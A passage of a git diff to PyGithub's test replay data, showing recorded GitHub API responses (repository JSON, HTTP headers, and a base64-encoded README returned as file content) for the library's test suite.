url":"https://api.github.com/repos/akfish/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/akfish/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akfish/PyGithub/labels{/name}","created_at":"2013-08-16T10:56:11Z","updated_at":"2013-08-22T02:14:54Z","pushed_at":"2013-08-22T02:09:09Z","git_url":"git://github.com/akfish/PyGithub.git","ssh_url":"git@github.com:akfish/PyGithub.git","clone_url":"https://github.com/akfish/PyGithub.git","svn_url":"https://github.com/akfish/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":6736,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":70,"parent":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"}} - diff --git a/tests/ReplayData/ConditionalRequestUpdate.testUpdateObjectWithoutEtag.txt b/tests/ReplayData/ConditionalRequestUpdate.testUpdateObjectWithoutEtag.txt index 3e6144f831..5028314135 100644 --- a/tests/ReplayData/ConditionalRequestUpdate.testUpdateObjectWithoutEtag.txt +++ b/tests/ReplayData/ConditionalRequestUpdate.testUpdateObjectWithoutEtag.txt @@ -19,4 +19,3 @@ null 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4911'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('date', 'Sun, 27 May 2012 07:17:09 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-27T06:55:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T06:00:28Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"} - diff --git a/tests/ReplayData/ContentFile.setUp.txt b/tests/ReplayData/ContentFile.setUp.txt index 72ad375e33..adf891c0d7 100644 --- a/tests/ReplayData/ContentFile.setUp.txt +++ b/tests/ReplayData/ContentFile.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4993'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '10787'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 17:54:40 GMT'), ('connection', 'keep-alive'), ('etag', '"71786feb5f476112c5a8aa894ee7ca6c"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 10:47:05 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] {"type":"file","sha":"5628799a7d517a4aaa0c1a7004d07569cd154df0","path":"ReadMe.md","encoding":"base64","content":"VGhpcyBpcyBhIFB5dGhvbiBsaWJyYXJ5IHRvIGFjY2VzcyB0aGUgW0dpdGh1\nYiBBUEkgdjNdKGh0dHA6Ly9kZXZlbG9wZXIuZ2l0aHViLmNvbS92MykuCgpX\naXRoIGl0LCB5b3UgY2FuIG1hbmFnZSB5b3VyIFtHaXRodWJdKGh0dHA6Ly9n\naXRodWIuY29tKSByZXNvdXJjZXMgKHJlcG9zaXRvcmllcywgdXNlciBwcm9m\naWxlcywgb3JnYW5pemF0aW9ucywgZXRjLikgZnJvbSBQeXRob24gc2NyaXB0\ncy4KCkl0IGNvdmVycyB0aGUgKipmdWxsKiogQVBJLCBhbmQgYWxsIG1ldGhv\nZHMgYXJlIHRlc3RlZCBhZ2FpbnN0IHRoZSByZWFsIEdpdGh1YiBzaXRlLgoK\nU2hvdWxkIHlvdSBoYXZlIGFueSBxdWVzdGlvbiwgb3IgaWYgeW91IGZpbmQg\nYSBidWcsIG9yIGlmIHRoZXJlIGlzIHNvbWV0aGluZyB5b3UgY2FuIGRvIHdp\ndGggdGhlIEFQSSBidXQgbm90IHdpdGggUHlHaXRodWIsIHBsZWFzZSBbb3Bl\nbiBhbiBpc3N1ZV0oaHR0cHM6Ly9naXRodWIuY29tL2phY3F1ZXY2L1B5R2l0\naHViL2lzc3VlcykuCgpQeUdpdGh1YiBpcyBzdGFibGUuIEkgd2lsbCBtYWlu\ndGFpbiBpdCB1cCB0byBkYXRlIHdpdGggdGhlIEFQSSwgYW5kIGZpeCBidWdz\nIGlmIGFueSwgYnV0IEkgZG9uJ3QgcGxhbiBuZXcgaGVhdnkgZGV2ZWxvcG1l\nbnRzLgoKRG93bmxvYWQgYW5kIGluc3RhbGwKPT09PT09PT09PT09PT09PT09\nPT0KClRoaXMgcGFja2FnZSBpcyBpbiB0aGUgW1B5dGhvbiBQYWNrYWdlIElu\nZGV4XShodHRwOi8vcHlwaS5weXRob24ub3JnL3B5cGkvUHlHaXRodWIpLCBz\nbyBgZWFzeV9pbnN0YWxsIFB5R2l0aHViYCBvciBgcGlwIGluc3RhbGwgUHlH\naXRodWJgIHNob3VsZCBiZSBlbm91Z2guCllvdSBjYW4gYWxzbyBjbG9uZSBp\ndCBvbiBbR2l0aHViXShodHRwOi8vZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdp\ndGh1YikuCgpUdXRvcmlhbAo9PT09PT09PQoKRmlyc3QgY3JlYXRlIGEgR2lo\ndHViIGluc3RhbmNlOgoKICAgIGZyb20gZ2l0aHViIGltcG9ydCBHaXRodWIK\nCiAgICBnID0gR2l0aHViKCAidXNlciIsICJwYXNzd29yZCIgKQoKVGhlbiBw\nbGF5IHdpdGggeW91ciBHaXRodWIgb2JqZWN0czoKCiAgICBmb3IgcmVwbyBp\nbiBnLmdldF91c2VyKCkuZ2V0X3JlcG9zKCk6CiAgICAgICAgcHJpbnQgcmVw\nby5uYW1lCiAgICAgICAgcmVwby5lZGl0KCBoYXNfd2lraSA9IEZhbHNlICkK\nCllvdSBjYW4gYWxzbyBjcmVhdGUgYSBHaXRodWIgaW5zdGFuY2Ugd2l0aCBh\nbiBPQXV0aCB0b2tlbjoKCiAgICBnID0gR2l0aHViKCB0b2tlbiApCgpPciB3\naXRob3V0IGF1dGhlbnRpY2F0aW9uOgoKICAgIGcgPSBHaXRodWIoKQoKTGlj\nZW5zaW5nCj09PT09PT09PQoKUHlHaXRodWIgaXMgZGlzdHJpYnV0ZWQgdW5k\nZXIgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5jZS4KU2Vl\nIGZpbGVzIENPUFlJTkcgYW5kIENPUFlJTkcuTEVTU0VSLCBhcyByZXF1ZXN0\nZWQgYnkgW0dOVV0oaHR0cDovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC1o\nb3d0by5odG1sKS4KClByb2plY3RzIHVzaW5nIFB5R2l0aHViCj09PT09PT09\nPT09PT09PT09PT09PT09CgooW09wZW4gYW4gaXNzdWVdKGh0dHBzOi8vZ2l0\naHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9pc3N1ZXMpIGlmIHlvdSB3YW50\nIHRvIGJlIGxpc3RlZCBoZXJlLCBJJ2xsIGJlIGdsYWQgdG8gYWRkIHlvdXIg\ncHJvamVjdCkKCiogW1VwdmVydGVyXShodHRwczovL3VwdmVydGVyLmNvbSkg\naXMgYSB3ZWItYmFzZWQgc2NoZW1hdGljIGNhcHR1cmUgYW5kIFBDQiBsYXlv\ndXQgdG9vbCBmb3IgcGVvcGxlIHdobyBkZXNpZ24gZWxlY3Ryb25pY3MuIERl\nc2lnbmVycyBjYW4gYXR0YWNoIGEgR2l0aHViIHByb2plY3QgdG8gYW4gVXB2\nZXJ0ZXIgcHJvamVjdC4KKiBbVHJhdGlodWJpc10oaHR0cDovL3B5cGkucHl0\naG9uLm9yZy9weXBpL3RyYXRpaHViaXMvKSBjb252ZXJ0cyBUcmFjIHRpY2tl\ndHMgdG8gR2l0aHViIGlzc3VlcwoKSGlzdG9yeQo9PT09PT09CgpbVmVyc2lv\nbiAxLjVdKGh0dHBzOi8vZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9p\nc3N1ZXM/bWlsZXN0b25lPTkmc3RhdGU9Y2xvc2VkKSAoU2VwdGVtYmVyIDV0\naCwgMjAxMikKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoqIEFkZCBhIHRpbWVvdXQgb3B0\naW9uLCB0aGFuayB5b3UgbXVjaCBbeG9iYjF0XShodHRwczovL2dpdGh1Yi5j\nb20veG9iYjF0KSBmb3IgdGhlIG1lcmdlIHJlcXVlc3QuICpUaGlzIGRyb3Bz\nIFB5dGhvbiAyLjUgc3VwcG9ydCouIEkgbWF5IGJlIGFibGUgdG8gcmVzdG9y\nZSBpdCBpbiBuZXh0IHZlcnNpb24uCiogSW1wbGVtZW50IGBSZXBvc2l0b3J5\nLmRlbGV0ZWAsIHRoYW5rIHlvdSBbcG1jaGVuXShodHRwczovL2dpdGh1Yi5j\nb20vcG1jaGVuKSBmb3IgYXNraW5nCgpbVmVyc2lvbiAxLjRdKGh0dHBzOi8v\nZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9pc3N1ZXM/bWlsZXN0b25l\nPTgmc3RhdGU9Y2xvc2VkKSAoQXVndXN0IDR0aCwgMjAxMikKLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tCgoqIEFsbG93IGNvbm5lY3Rpb24gdG8gYSBjdXN0b20gR2l0aHViIFVS\nTCwgZm9yIEdpdGh1YiBFbnRlcnByaXNlLCB0aGFuayB5b3UgdmVyeSBtdWNo\nIFtlbmdpZV0oaHR0cHM6Ly9naXRodWIuY29tL2VuZ2llKSBmb3IgdGhlIG1l\ncmdlIHJlcXVlc3QKCltWZXJzaW9uIDEuM10oaHR0cHM6Ly9naXRodWIuY29t\nL2phY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxlc3RvbmU9NyZzdGF0ZT1j\nbG9zZWQpIChKdWx5IDEzdGgsIDIwMTIpCi0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoqIEltcGxl\nbWVudCBbbWFya2Rvd24gcmVuZGVyaW5nXShodHRwOi8vZGV2ZWxvcGVyLmdp\ndGh1Yi5jb20vdjMvbWFya2Rvd24vKQoqIGBHaXRBdXRob3IuZGF0ZWAgaXMg\nbm93IGEgZGF0ZXRpbWUsIHRoYW5rIHlvdSBbYmlsZGVyYnVjaGldKGh0dHBz\nOi8vZ2l0aHViLmNvbS9iaWxkZXJidWNoaSkKKiBGaXggZG9jdW1lbnRhdGlv\nbiBvZiBgR2l0aHViLmdldF9naXN0YDogYGlkYCBpcyBhIHN0cmluZywgbm90\nIGFuIGludGVnZXIKCltWZXJzaW9uIDEuMl0oaHR0cHM6Ly9naXRodWIuY29t\nL2phY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxlc3RvbmU9NiZzdGF0ZT1j\nbG9zZWQpIChKdW5lIDI5dGgsIDIwMTIpCi0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoqIEltcGxl\nbWVudCBbbGVnYWN5IHNlYXJjaCBBUElzXShodHRwOi8vZGV2ZWxvcGVyLmdp\ndGh1Yi5jb20vdjMvc2VhcmNoLyksIHRoYW5rIHlvdSBba3VrdXRzXShodHRw\nczovL2dpdGh1Yi5jb20va3VrdXRzKSBmb3IgdGVsbGluZyBtZSBHaXRodWIg\naGFkIHJlbGVhc2VkIHRoZW0KKiBGaXggYSBidWcgd2l0aCBpc3N1ZSBsYWJl\nbHMgY29udGFpbmluZyBzcGFjZXMsIHRoYW5rIHlvdSBbcGhpbGlwa2ltbWV5\nXShodHRwczovL2dpdGh1Yi5jb20vcGhpbGlwa2ltbWV5KSBmb3IgZGV0ZWN0\naW5nIHRoZSBidWcgYW5kIGZpeGluZyBpdAoqIENsYXJpZnkgaG93IGNvbGxl\nY3Rpb25zIG9mIG9iamVjdHMgYXJlIHJldHVybmVkIGJ5IGBnZXRfKmAgbWV0\naG9kcywgdGhhbmsgeW91IFtiaWxkZXJidWNoaV0oaHR0cHM6Ly9naXRodWIu\nY29tL2JpbGRlcmJ1Y2hpKSBmb3IgYXNraW5nCgpWZXJzaW9uIDEuMSAoSnVu\nZSAyMHRoLCAyMDEyKQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoK\nKiBSZXN0b3JlIGNvbXBhdGliaWxpdHkgd2l0aCBQeXRob24gMi41LCB0aGFu\nayB5b3UgW3BtdWlsdV0oaHR0cHM6Ly9naXRodWIuY29tL3BtdWlsdSkKKiBV\nc2UgYHBhY2thZ2VfZGF0YWAgaW5zdGVhZCBvZiBgZGF0YV9maWxlc2AgZm9y\nIGRvY3VtZW50YXRpb24gZmlsZXMgaW4gYHNldHVwLnB5YCwgdGhhbmsgeW91\nIFttYWxleHddKGh0dHBzOi8vZ2l0aHViLmNvbS9tYWxleHcpIGZvciByZXBv\ncnRpbmcKCltWZXJzaW9uIDEuMF0oaHR0cHM6Ly9naXRodWIuY29tL2phY3F1\nZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxlc3RvbmU9MiZzdGF0ZT1jbG9zZWQp\nIChKdW5lIDNyZCwgMjAxMikKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKKiBDb21wbGV0ZSByZXdy\naXRlLCB3aXRoIG5vIG1vcmUgY29tcGxpY2F0ZWQgbWV0YS1kZXNjcmlwdGlv\nbgoqIEZ1bGwgdHlwaW5nIG9mIGF0dHJpYnV0ZXMgYW5kIHBhcmFtZXRlcnMK\nKiBGdWxsIGRvY3VtZW50YXRpb24gb2YgYXR0cmlidXRlcyBhbmQgcGFyYW1l\ndGVycwoqIE1vcmUgdXNhYmxlIGV4Y2VwdGlvbnMgcmFpc2VkIGluIGNhc2Ug\nb24gcHJvYmxlbXMgd2l0aCB0aGUgQVBJCiogU29tZSBidWdzIGFuZCBsaW1p\ndGF0aW9ucyBmaXhlZCwgc3BlY2lhbCB0aGFua3MgdG8gW2JpbGRlcmJ1Y2hp\nXShodHRwczovL2dpdGh1Yi5jb20vYmlsZGVyYnVjaGkpLCBbcm9za2Frb3Jp\nXShodHRwczovL2dpdGh1Yi5jb20vcm9za2Frb3JpKSBhbmQgW3RhbGxmb3Jh\nc211cmZdKGh0dHBzOi8vZ2l0aHViLmNvbS90YWxsZm9yYXNtdXJmKSBmb3Ig\ncmVwb3J0aW5nIHRoZW0hCgpbVmVyc2lvbiAwLjddKGh0dHBzOi8vZ2l0aHVi\nLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9pc3N1ZXM/bWlsZXN0b25lPTUmc3Rh\ndGU9Y2xvc2VkKSAoTWF5IDI2dGgsIDIwMTIpCi0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiogVXNl\nIFB5R2l0aHViIHdpdGggT0F1dGggYXV0aGVudGljYXRpb24gb3Igd2l0aCBu\nbyBhdXRoZW50aWNhdGlvbiBhdCBhbGwKCltWZXJzaW9uIDAuNl0oaHR0cHM6\nLy9naXRodWIuY29tL2phY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxlc3Rv\nbmU9NCZzdGF0ZT1jbG9zZWQpIChBcHJpbCAxN3RoLCAyMDEyKQotLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0KCiogRml4IFtpc3N1ZSAyMV0oaHR0cHM6Ly9naXRodWIuY29tL2ph\nY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcy8yMSkgKEtleUVycm9yIHdoZW4gYWNj\nZXNzaW5nIHJlcG9zaXRvcmllcykKKiBSZS1jb21wbGV0ZWQgdGhlIEFQSSB3\naXRoIE5hbWVkVXNlci5jcmVhdGVfZ2lzdAoKCltWZXJzaW9uIDAuNV0oaHR0\ncHM6Ly9naXRodWIuY29tL2phY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxl\nc3RvbmU9MyZzdGF0ZT1jbG9zZWQpIChNYXJjaCAxOXRoLCAyMDEyKQotLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0KCiogTWFqb3IgYWNoaWV2ZW1lbnQ6ICoqYWxsIEFQSXMgYXJl\nIGltcGxlbWVudGVkKioKKiBNb3JlIHJlZmFjdG9yaW5nLCBvZiBjb3Vyc2UK\nCltWZXJzaW9uIDAuNF0oaHR0cHM6Ly9naXRodWIuY29tL2phY3F1ZXY2L1B5\nR2l0aHViL2lzc3Vlcz9taWxlc3RvbmU9MSZzdGF0ZT1jbG9zZWQpIChNYXJj\naCAxMnRoLCAyMDEyKQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiogVGhlIGxpc3Qgb2YgdGhl\nIG5vdCBpbXBsZW1lbnRlZCBBUElzIGlzIHNob3J0ZXIgdGhhbiB0aGUgbGlz\ndCBvZiB0aGUgaW1wbGVtZW50ZWQgQVBJcwoqIEFQSXMgKm5vdCBpbXBsZW1l\nbnRlZCo6CiAgICAqIEdFVCBgL2dpc3RzL3B1YmxpY2AKICAgICogR0VUIGAv\naXNzdWVzYAogICAgKiBHRVQgYC9yZXBvcy86dXNlci86cmVwby9jb21wYXJl\nLzpiYXNlLi4uOmhlYWRgCiAgICAqIEdFVCBgL3JlcG9zLzp1c2VyLzpyZXBv\nL2dpdC90cmVlcy86c2hhP3JlY3Vyc2l2ZT0xYAogICAgKiBQT1NUIGAvcmVw\nb3MvOnVzZXIvOnJlcG8vZ2l0L3RyZWVzP2Jhc2VfdHJlZT1gCiogR2lzdHMK\nKiBBdXRvcml6YXRpb25zCiogS2V5cwoqIEhvb2tzCiogRXZlbnRzCiogTWVy\nZ2UgcHVsbCByZXF1ZXN0cwoqIE1vcmUgcmVmYWN0b3JpbmcsIG9uZSBtb3Jl\nIHRpbWUKClZlcnNpb24gMC4zIChGZWJydWFyeSAyNnRoLCAyMDEyKQotLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiogTW9yZSByZWZhY3Rv\ncmluZwoqIElzc3VlcywgbWlsZXN0b25lcyBhbmQgdGhlaXIgbGFiZWxzCiog\nTmFtZWRVc2VyOgogICAgKiBlbWFpbHMKKiBSZXBvc2l0b3J5OgogICAgKiBk\nb3dubG9hZHMKICAgICogdGFncywgYnJhbmNoZXMsIGNvbW1pdHMgYW5kIGNv\nbW1lbnRzIChub3QgdGhlIHNhbWUgYXMgIkdpdCBvYmplY3RzIiBvZiB2ZXJz\naW9uIDAuMikKICAgICogcHVsbCByZXF1ZXN0cyAobm8gYXV0b21hdGljIG